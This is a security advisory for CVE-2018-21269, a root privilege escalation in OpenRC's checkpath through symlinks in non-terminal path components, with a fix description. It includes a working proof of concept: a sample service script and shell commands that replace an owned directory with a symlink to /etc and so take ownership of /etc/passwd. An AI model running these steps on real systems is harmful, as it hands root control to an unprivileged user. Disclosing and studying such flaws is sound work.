michael orlitzky

CVE-2018-21269: OpenRC checkpath root privilege escalation through non-terminal symlinks

Product
OpenRC
Versions affected
all
Published on
2020-10-27
Author
Michael Orlitzky
Fixed in
commit b6fef59
Bug report
https://github.com/OpenRC/openrc/issues/201
MITRE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-21269
See also
CVE-2017-18188, CVE-2017-18925, CVE-2018-6954

Summary

OpenRC's checkpath can be tricked into following symlinks present in non-terminal path components. Since checkpath is run as root and is often used to adjust the ownership and permissions of its target, this can lead to root exploits whenever a non-root user is able to create such a symlink.

Details

The checkpath program is part of OpenRC, and is used in service scripts to create files and directories much like the tmpfiles.d entries familiar to systemd users. Since OpenRC service scripts generally run as root, and since checkpath changes the ownership and permissions of its target, it is important that this target does not change unexpectedly. There is dedicated code within checkpath that prevents it from operating on symlinks and hardlinks for that reason:

mjo $ touch foo.txt

mjo $ ln -s foo.txt bar.txt

mjo $ /lib/rc/bin/checkpath --file --mode 755 ./bar.txt

* ./bar.txt: creating file

* checkpath: open: Too many levels of symbolic links

These checks are subject to a race condition (TOCTOU), but are better than nothing. However, they only apply to the terminal component of the given path. If a non-root user can create symlinks higher up in the path, the attack is not mitigated at all. For a “real life” example, consider the following OpenRC service script in /etc/init.d/openrc-symlink-exploit:

1
2
3
4
5
6
7
8
9
10
#!/sbin/openrc-run

start_pre() {
  checkpath --owner mjo --directory /var/lib/foo
  checkpath --owner mjo --directory /var/lib/foo/bar
  checkpath --owner mjo --file /var/lib/foo/bar/passwd
}

start() { :; }
stop() { :; }

The first time this service is started, the files and directories are created normally:

mjo $ sudo rc-service openrc-symlink-exploit start

* Caching service dependencies ... [ ok ]

* /var/lib/foo: creating directory

* /var/lib/foo: correcting owner

* /var/lib/foo/bar: creating directory

* /var/lib/foo/bar: correcting owner

* /var/lib/foo/bar/passwd: creating file

* /var/lib/foo/bar/passwd: correcting owner

But now, I own /var/lib/foo and am free to replace /var/lib/foo/bar with a symlink:

mjo $ rm -r /var/lib/foo/bar

mjo $ ln -s /etc /var/lib/foo/bar

When the service is restarted (there is also a race condition the first time…) or the next time the machine is rebooted, my symlink is followed and I take ownership of /etc/passwd:

mjo $ sudo rc-service openrc-symlink-exploit start

* /var/lib/foo/bar: creating directory

* checkpath: unable to open directory: Too many levels of symbolic links

* /var/lib/foo/bar/passwd: correcting owner

mjo $ ls -l /etc/passwd

-rw-r--r-- 1 mjo mjo 2.1K 2020-10-17 08:43 /etc/passwd

Mitigation

There is no way to mitigate this vulnerability as an end user. In particular, the Linux kernel's fs.protected_symlinks sysctl does not prevent this attack.

Resolution

A new function get_dirfd was added to checkpath that recursively opens a path from the root upwards. Each iteration calls openat using the directory descriptor obtained in the previous iteration, and is “safe by induction”. On Linux, the O_PATH and O_NOFOLLOW flags are used to guarantee that symlinks will not be followed unless they are owned by root. On systems where O_PATH is not available, encountering a non-terminal symlink is now an error by default; this can (but should not) be disabled by the -s flag.